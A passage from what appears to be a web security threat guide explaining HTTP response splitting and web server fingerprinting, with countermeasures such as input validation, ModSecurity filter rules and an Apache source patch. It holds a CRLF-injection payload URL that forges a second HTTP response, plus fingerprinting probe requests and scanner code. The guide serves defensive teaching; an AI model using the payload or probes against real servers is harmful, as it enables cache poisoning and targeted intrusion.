Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<html>Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCS
T9UsS!-1251019693; path=/
[...]
```

Explanation: this TCP stream will be parsed by the target as follows:
A first HTTP response, which is a 302 (redirection) response. This response is colored blue.
A second HTTP response, which is a 200 response, with a content comprising of 19 bytes of HTML. This response is colored red.

Superfluous data - everything beyond the end of the second response is superfluous, and does not conform to the HTTP standard.

So when the attacker feeds the target with two requests, the first being to the URL

/redir_lang.jsp?lang=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Shazam</html>

And the second to the URL

/index.html

The target would believe that the first request is matched to the first response:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0

And that the second request (to /index.html) is matched to the second response:

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19

<html>Shazam</html>

And by this, the attacker manages to fool the target.

Now, this particular example is quite naïve, as is explained in [1]. It doesn't take into account some problems with how targets parse the TCP stream, issues with the superfluous data, problems with the data

injection, and how to force caching. This (and more) is discussed in [1], under the “practical consideration” sections.

Solution

Validate input. Remove CRs and LFs (and all other hazardous characters) before embedding data into any HTTP response headers, particularly when setting cookies and redirecting. It is possible to use third party products to defend against CR/LF injection, and to test for existence of such security holes before application deployment.

Further recommendations are:

- Make sure you use the most up to date application engine
- Make sure that your application is accessed through a unique IP address (i.e. that the same IP address is not used for another application, as it is with virtual hosting).

References

[1] "Divide and Conquer – HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" by Amit Klein, *http://www.sanctuminc.com/pdf/whitepaper_httpresponse.pdf*

[2] “CRLF Injection” by Ulf Harnhammar (BugTraq posting), *http://www.securityfocus.com/archive/1/271515*

1.2 Web Server/Application Fingerprinting

Web server/application fingerprinting is similar to its predecessor, TCP/IP Fingerprinting (with today’s favorite scanner - Nmap) except that it is focused on the Application Layer of the OSI model instead of the Transport Layer. The theory behind web server/application fingerprinting is to create an accurate profile of the target’s software, configurations and possibly even their network architecture/topology by analyzing the following:

Implementation differences of the HTTP Protocol
HTTP Response Headers
File Extensions (.asp vs. jsp)
Cookies (ASPSESSION)
Error Pages (Default?)
Directory Structures and Naming Conventions (Windows/Unix)
Web Developer Interfaces (Frontpage/WebPublisher)
Web Administrator Interfaces (iPlanet/Comanche)
OS Fingerprinting Mismatches (IIS on Linux?)

The normal SOP for attackers is to footprint the target's web presence and enumerate as much information as possible. With this information, the attacker may develop an accurate attack scenario, which will effectively exploit a vulnerability in the software type/version being utilized by the target host.

Accurately identifying this information for possible attack vectors is vitally importantly since many security vulnerabilities (such as buffer overflows, etc…) are extremely dependent on a specific software vendor and version numbers. Additionally, correctly identifying the software versions and choosing an appropriate exploit reduces the overall "noise" of the attack while increasing its effectiveness. It is for this reason that a web server/application, which obviously identifies itself, is inviting trouble.

In fact, the HTTP RFC 2068 discusses this exact issue and urges web administrators to take steps to hide the version of software being displayed by the "Server" response header:

"Note: Revealing the specific software version of the server may allow the server machine to become more vulnerable to attacks against software that is known to contain security holes. Server implementers are encouraged to make this field a configurable option."

Due to the fact that it is possible to infer the type and version of web server/application that is being used by a target by correlating information gathering by other Information Disclosure categories, we will focus only on the HTTP Protocol implementation analyzation that today's web fingerprinting tools utilize.

Examples:
All of the examples below demonstrate analysis techniques of the composition and interpretation of HTTP requests by the target web servers.

Implementation differences of the HTTP Protocol
Lexical - The lexical characteristics category covers variations in the actual words/phrases used, capitalization and punctuation displayed by the HTTP Response Headers.

Response Code Message – The error code 404, Apache reports "Not Found" whereas Microsoft IIS/5.0 reports "Object Not Found".

```
Apache 1.3.29 - 404
# telnet target1.com 80
Trying target1.com...
Connected to
target1.com.
Escape character is
'^]'.
HEAD /non-existent-
file.txt HTTP/1.0

HTTP/1.1 404 Not Found
Date: Mon, 07 Jun 2004
14:31:03 GMT
Server: Apache/1.3.29
(Unix) mod_perl/1.29
```

```
Microsoft-IIS/4.0 - 404
# telnet target2.com 80
Trying target2.com...
Connected to
target2.com.
Escape character is
'^]'.
HEAD /non-existent-
file.txt HTTP/1.0

HTTP/1.1 404 Object Not
Found
Server: Microsoft-
IIS/4.0
Date: Mon, 07 Jun 2004
```

```
Connection: close
Content-Type:
text/html; charset=iso-
8859-1

Connection closed by
foreign host.
```

```
14:41:22 GMT
Content-Length: 461
Content-Type: text/html

Connection closed by
foreign host.
```

Header Wording - The header “Content-Length” is returned vs. “Content-length”.

```
Netscape-Enterprise/6.0
- HEAD
# telnet target1.com 80
Trying target1.com...
Connected to
target1.com.
Escape character is
'^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Netscape-
Enterprise/6.0
Date: Mon, 07 Jun 2004
14:55:25 GMT
Content-length: 26248
Content-type: text/html
Accept-ranges: bytes

Connection closed by
foreign host.
```

```
Microsoft-IIS/4.0 -
HEAD
# telnet target2.com 80
Trying target2.com...
Connected to
target2.com.
Escape character is
'^]'.
HEAD / HTTP/1.0

HTTP/1.1 404 Object Not
Found
Server: Microsoft-
IIS/4.0
Date: Mon, 07 Jun 2004
15:22:54 GMT
Content-Length: 461
Content-Type: text/html

Connection closed by
foreign host.
```

Syntactic – Per the HTTP RFC, all web communications are required to have a predefined structure and composition so that both parties can understand each other. Variations in the HTTP Response header ordering and format still exist.

Header Ordering - Apache servers consistently place the "Date" header before the "Server" header while Microsoft-IIS has these headers in the reverse order.

```
Apache 1.3.29- HEAD

# telnet target1.com 80
Trying target1.com...
Connected to target1.com.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 07 Jun 2004
15:21:24 GMT
Server: Apache/1.3.29 (Unix)
mod_perl/1.29
Content-Location:
index.html.en
Vary: negotiate,accept-
language,
accept-charset
TCN: choice
Last-Modified: Fri, 04 May
2001 00:00:38 GMT
ETag: "4de14-5b0-
3af1f126;40a4ed5d"
Accept-Ranges: bytes
Content-Length: 1456
Connection: close
Content-Type: text/html
```

```
Microsoft-IIS/4.0
- HEAD
# telnet
target2.com 80
Trying
target2.com...
Connected to
target2.com.
Escape character
is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 404
Object Not Found
Server: Microsoft-
IIS/4.0
Date: Mon, 07 Jun
2004 15:22:54 GMT
Content-Length:
461
Content-Type:
text/html

Connection closed
by foreign host.
```

```
Content-Language: en
Expires: Mon, 07 Jun 2004
15:21:24 GMT

Connection closed by foreign
host.
```

List Ordering - When an OPTIONS method is sent in an HTTP Request, a list of allowed methods for the given URI are returned in an “Allow” header. Apache only returns the “Allow: header, while IIS also includes a “Public” header.

```
Apache 1.3.29- OPTIONS
# telnet target1.com 80
Trying target1.com...
Connected to
target1.com.
Escape character is
'^]'.
OPTIONS * HTTP/1.0

HTTP/1.1 200 OK
Date: Mon, 07 Jun 2004
16:21:58 GMT
Server: Apache/1.3.29
(Unix) mod_perl/1.29
Content-Length: 0
Allow: GET, HEAD,
OPTIONS, TRACE
Connection: close

Connection closed by
foreign host.
```

```
Microsoft-IIS/5.0 -
OPTIONS
# telnet target2.com 80
Trying target2.com...
Connected to
target2.com.
Escape character is
'^]'.
OPTIONS * HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-
IIS/5.0
Date: Mon, 7 Jun 2004
12:21:38 GMT
Content-Length: 0
Accept-Ranges: bytes
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE,
GET, HEAD, DELETE, PUT,
POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH,
LOCK, UNLOCK, SEARCH
```

```
                                Allow: OPTIONS, TRACE,
                                GET, HEAD, DELETE, PUT,
                                POST, COPY, MOVE, MKCOL,
                                PROPFIND, PROPPATCH,
                                LOCK, UNLOCK, SEARCH
                                Cache-Control: private

                                Connection closed by
                                foreign host.
```

Semantic – Besides the words and phrases that are returned in the HTTP Response, there are obvious differences in how web servers interpret both well-formed and abnormal/noncompliant requests.

Presence of Specific Headers - A server has a choice of headers to include in a Response. While some headers are required by the specification, most headers (e.g. ETag) are optional. In the examples below, the Apache servers response headers include additional entries such as: ETag, Vary and Expires while the IIS server does not.

```
Apache 1.3.29- HEAD                 Microsoft-IIS/4.0
                                    - HEAD
# telnet target1.com 80             # telnet
Trying target1.com...               target2.com 80
Connected to target1.com.           Trying
Escape character is '^]'.           target2.com...
HEAD / HTTP/1.0                     Connected to
                                    target2.com.
HTTP/1.1 200 OK                     Escape character
Date: Mon, 07 Jun 2004              is '^]'.
15:21:24 GMT                        HEAD / HTTP/1.0
Server: Apache/1.3.29 (Unix)
mod_perl/1.29                       HTTP/1.1 404
Content-Location:                   Object Not Found
```

```
index.html.en                    Server: Microsoft-
Vary: negotiate,accept-          IIS/4.0
language,                        Date: Mon, 07 Jun
accept-charset                   2004 15:22:54 GMT
TCN: choice                      Content-Length:
Last-Modified: Fri, 04 May       461
2001 00:00:38 GMT                Content-Type:
ETag: "4de14-5b0-                text/html
3af1f126;40a4ed5d"
Accept-Ranges: bytes             Connection closed
Content-Length: 1456             by foreign host.
Connection: close
Content-Type: text/html
Content-Language: en
Expires: Mon, 07 Jun 2004
15:21:24 GMT

Connection closed by foreign
host.
```

Response Codes for Abnormal Requests – Even though the same requests are made to the target web servers, it is possible to interpretation of the request to be different and therefore different response codes generated. A perfect example of this semantic difference in interpretation is the "Light Fingerprinting" check which the Whisker scanner utilizes. The section of Perl code below, taken from Whisker 2.1's main.test file, runs two tests to determine if the target web server is in fact an Apache server, regardless of what the Banner might report. The first request is a "GET //" and if the HTTP Status Code is a 200, then the next request is sent. The second request is "GET/%2f", which is URI Encoded – and translates to "GET //". This time Apache returns a 404 – Not Found error code. Other web servers – IIS – do not return the same status codes for these requests.

```
# now do some light fingerprinting...
```

```
        -- CUT --
        my $Aflag=0;
        $req{whisker}->{uri}='//';
        if(!_do_request(\%req,\%G_RESP)){
                _d_response(\%G_RESP);
               if($G_RESP{whisker}->{code}==200){
                       $req{whisker}-
>{uri}='/%2f';

if(!_do_request(\%req,\%G_RESP)){

_d_response(\%G_RESP);
                                      $Aflag++
if($G_RESP{whisker}->{code}==404);
        }       }       }

        m_re_banner('Apache',$Aflag);
```

After running Whisker against a target website, it reports, based on the pre-tests that the web server may in fact be an Apache server. Below is the example Whisker report section:

```
-----------------------------------------
Title: Server banner
Id: 100
Severity: Informational
The server returned the following banner:
Microsoft-IIS/4.0
-----------------------------------------
Title: Alternate server type
Id: 103
Severity: Informational
Testing has identified the server might be an
'Apache' server. This
Change could be due to the server not correctly
```

```
identifying itself (the
Admins changed the banner).  Tests will now check
for this server type
as well as the previously identified server types.
----------------------------------------
```

Not only does this alert the attacker that the web server administrators are savvy enough to alter the Server banner info, but Whisker will also add in all of the Apache tests to its scan which would increase its accuracy.

Solutions

It is not possible to remove every single identifying piece of information provided by your web server. The fact is that a determined attack will be able to identify your web server software. Your goal should be to raise the bar of reconnaissance to a height that will cause the attacker to probe hard enough that they will most likely trigger a security alert. The steps below will aid in this task. The solutions are listed in order from easiest to implement to the most complex.

Alter the Server Banner Information

It is possible to edit out and/or alter (for deception purposes) the "Server" field information displayed by a web server's response headers. There has been much debate in web security circles as to the amount of protection that can be gained by changing the HTTP Server: token information. While altering the banner info alone, and not taking any other steps to hide the software version, probably doesn't provide much protection from REAL people who are actively conducting reconnaissance, it does help with regards to blocking

automated WORM programs. Due to the increase in popularity of using worms to mass infect systems; this method of protecting your web servers becomes vital. This step could certainly buy organizations some time during the patching phase when new worms are released into the wild and they are configured to attack systems based on the server token response.

Apache Servers – ModSecurity has the SecServerSignature setting, which allows the web admin to set the Server banner info from within the httpd.conf file instead of editing the Apache source code prior to compilation.

IIS Servers – By installing the IISLockDown and URLScan tools, you can update the banner info returned to clients.

Minimize the Verboseness of Information in Headers

Restrict the amount of information returned in the response headers. For instance, Apache allows the administrator to control the verboseness of the Server banner token by editing the ServerTokens directive:

ServerTokens Prod[uctOnly]
Server sends (e.g.): Server: Apache
ServerTokens Min[imal]
Server sends (e.g.): Server: Apache/1.3.0
ServerTokens OS
Server sends (e.g.): Server: Apache/1.3.0 (Unix)
ServerTokens Full (or not specified)
Server sends (e.g.): Server: Apache/1.3.0 (Unix) PHP/3.0 MyMod/1.2

By minimizing the headers, you may hide information such as additional apache modules that are installed.

Implement Fake Headers

An alternate technique for defeating/confusing web server fingerprinting is to present a fake web topology. Attackers usually include Banner Grabbing sessions as part of the overall Footprinting Process. During Footprinting, the attacker is trying to gauge the target's enterprise architecture. By adding in additional fake headers, we can simulate a complex web environment (I.E.- DMZ). By adding additional headers to simulate the existence of a reverse proxy server, we can create the "appearance" of a complex architecture.

For Apache servers, we can add the following httpd.conf entry to accomplish this task:
Header set Via "1.1 squid.proxy.companyx.com (Squid/2.4.STABLE6)"
ErrorHeader set Via "1.1 squid.proxy.companyx.com (Squid/2.4.STABLE6)"
Header set X-Cache "MISS from www.nonexistenthost.com"
ErrorHeader set X-Cache "MISS from www.nonexistenthost.com"

These entries add the "Via" and X-Cache HTTP response headers to all responses as shown below:

```
# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Server: Microsoft-IIS/4.0
Date: Sun, 30 Mar 2003 21:59:46 GMT
Content-Location: index.html.en
Vary: negotiate,accept-language,accept-charset
TCN: choice
Via: 1.1 squid.proxy.companyx.com
(Squid/2.4.STABLE6)
```

```
X-Cache: MISS from www.nonexistenthost.com
Content-Length: 2673
Connection: close
```

This gives the illusion that we are using a Squid Proxy server and are presenting web data from a non-existent server. This might entice the attacker into either launching Squid Exploits against our Apache server, which would of course be unsuccessful or to attack the host specified in the X-Cache header with does not actually exist.

Install Third Party Web Security Tools

By installing additional web security applications or tools, such as ModSecurity or ServerMask, it is possible to either disrupt or total defeat today's web server fingerprinting applications such as HTTPrint. As described in the example sections above, these tools will probe target web servers with many different requests to try and initiate a specific response. Below are some of the abnormal requests which HTTPrint sends to the web server:

```
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"JUNKMETHOD / HTTP/1.0" 501 344 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / JUNK/1.0" 400 381 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"get / HTTP/1.0" 501 330 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / HTTP/0.8" 200 1456 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / HTTP/1.2" 200 1456 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET / HTTP/3.0" 200 1456 "-" "-"
192.168.139.101 - - [08/Jun/2004:11:21:40 -0400]
"GET /../../ HTTP/1.0" 400 344 "-" "-"
```

If we implement a tool such as ModSecurity for Apache servers, we can create HTTP RFC compliant filters, which will trigger on these

abnormal requests. Here are some ModSecurity httpd.conf entries, which may be used:

```
# This will return a 403 - Forbidden Status Code
for all Mod_Security actions
SecFilterDefaultAction "deny,log,status:403"

# This will deny directory traversals
SecFilter "\.\./"

# This entry forces compliance of the request
method.  Any requests that do NOT
# start with either GET|HEAD|POST will be denied.
This will catch/trigger on
# junk methods.
SecFilterSelective THE_REQUEST "!^(GET|HEAD|POST)"

# This entry will force HTTP compliance to the end
portion of the request.  If
# the request does NOT end with a valid HTTP
version, then it will be denied.
SecFilterSelective THE_REQUEST
"!HTTP\/(0\.9|1\.0|1\.1)$"
```

Source Code Editing

This is the most complex task for fingerprinting countermeasures, however it is the most effective. The risk vs. reward for this task could vary greatly depending on your skill level of programming or your web architecture. Generally speaking, this task includes editing the source code of the web server either prior to compilation or with the actual binary using a binary editor. For open source web servers such as Apache, the task is much easier since you have access to the code.

Header Ordering – Below is a source code patch for the Apache 1.3.29 server that will correct the DATE/SERVER order and also mimic the IIS OPTIONS output data. This patch updates the http_protocol.c file in the /apache_1.3.29/src/main directory. The OPTIONS section will return headers which are normally associated with IIS response tokens. These include the Public, DASL, DAV and Cache-Control headers.

```
--- http_protocol.c.orig        Mon Apr 26 02:11:58
2004
+++ http_protocol.c     Mon Apr 26 02:43:31 2004
@@ -1597,9 +1597,6 @@
     /* output the HTTP/1.x Status-Line */
     ap_rvputs(r, protocol, " ", r->status_line,
CRLF, NULL);

-    /* output the date header */
-    ap_send_header_field(r, "Date",
ap_gm_timestr_822(r->pool, r->request_time));
-
     /* keep the set-by-proxy server header,
otherwise
      * generate a new server header */
     if (r->proxyreq) {
@@ -1612,6 +1609,9 @@
         ap_send_header_field(r, "Server",
ap_get_server_version());
     }

+    /* output the date header */
+    ap_send_header_field(r, "Date",
ap_gm_timestr_822(r->pool, r->request_time));
+
     /* unset so we don't send them again */
     ap_table_unset(r->headers_out, "Date");
```

```
/* Avoid bogosity */
     ap_table_unset(r->headers_out, "Server");
@@ -1716,7 +1716,9 @@
     ap_basic_http_header(r);

     ap_table_setn(r->headers_out, "Content-
Length", "0");
+    ap_table_setn(r->headers_out, "Public",
"OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST,
COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK,
UNLOCK, SEARCH");
     ap_table_setn(r->headers_out, "Allow",
make_allow(r));
+    ap_table_setn(r->headers_out, "Cache-Control",
"private");
     ap_set_keepalive(r);

     ap_table_do((int (*) (void *, const char *,
const char *)) ap_send_header_field,
```

Reference

"An Introduction to HTTP fingerprinting"
http://net-square.com/httprint/httprint_paper.html

"Hypertext Transfer Protocol -- HTTP/1.1"
http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2068.html#sec-14.39

"HMAP: A Technique and Tool for Remote Identification of HTTP Servers"
http://seclab.cs.ucdavis.edu/papers/hmap-thesis.pdf

"Identifying Web Servers: A first-look into Web Server Fingerprinting"
http://www.blackhat.com/presentations/bh-asia-02/bh-asia-02-grossman.pdf

"Mask Your Web Server for Enhanced Security"
http://www.port80software.com/support/articles/maskyourwebserver

"Web Intrusion Detection and Prevention"
http://www.modsecurity.org

"IIS LockDown Tool 2.1"
http://www.microsoft.com/downloads/details.aspx?FamilyID=DDE9EFC0-BB30-47EB-9A61-FD755D23CDEC&displaylang=en

"URLScan Tool"
http://www.microsoft.com/downloads/details.aspx?FamilyID=f4c5a724-cafa-4e88-8c37-c9d5abed1863&DisplayLang=en

"ServerMask Tool"
http://www.port80software.com/products/servermask/

License

Terms and Conditions for Copying, Distributing, and Modifying

Items other than copying, distributing, and modifying the Content with which this license was distributed (such as using, etc.) are outside the scope of this license.

1. You may copy and distribute exact replicas of the OpenContent (OC) as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the OC a copy of this License along with the OC. You may at your option charge a fee for the media and/or handling involved in creating a unique copy of the OC for use offline, you may at your option offer instructional support for the OC in exchange for a fee, or you may at your option offer warranty in exchange for a fee. You may not charge a fee for the OC itself. You may not charge a fee for the sole service of providing access to and/or use of the OC via a network (e.g. the Internet), whether it be via the world wide web, FTP, or any other method.

2. You may modify your copy or copies of the OpenContent or any portion of it, thus forming works based on the Content, and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions:

a) You must cause the modified content to carry prominent notices stating that you changed it, the exact nature and content of the changes, and the date of any change.

b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the OC or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License, unless otherwise permitted under applicable Fair Use law.

These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the OC, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the OC, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to

each and every part regardless of who wrote it. Exceptions are made to this requirement to release modified works free of charge under this license only in compliance with Fair Use law where applicable.

3. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to copy, distribute or modify the OC. These actions are prohibited by law if you do not accept this License. Therefore, by distributing or translating the OC, or by deriving works herefrom, you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or translating the OC.

NO WARRANTY

4. BECAUSE THE OPENCONTENT (OC) IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE OC, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE OC "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK OF USE OF THE OC IS WITH YOU. SHOULD THE OC PROVE FAULTY, INACCURATE, OR OTHERWISE UNACCEPTABLE YOU ASSUME THE COST OF ALL NECESSARY REPAIR OR CORRECTION.

5. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MIRROR AND/OR REDISTRIBUTE THE OC AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE OC, EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.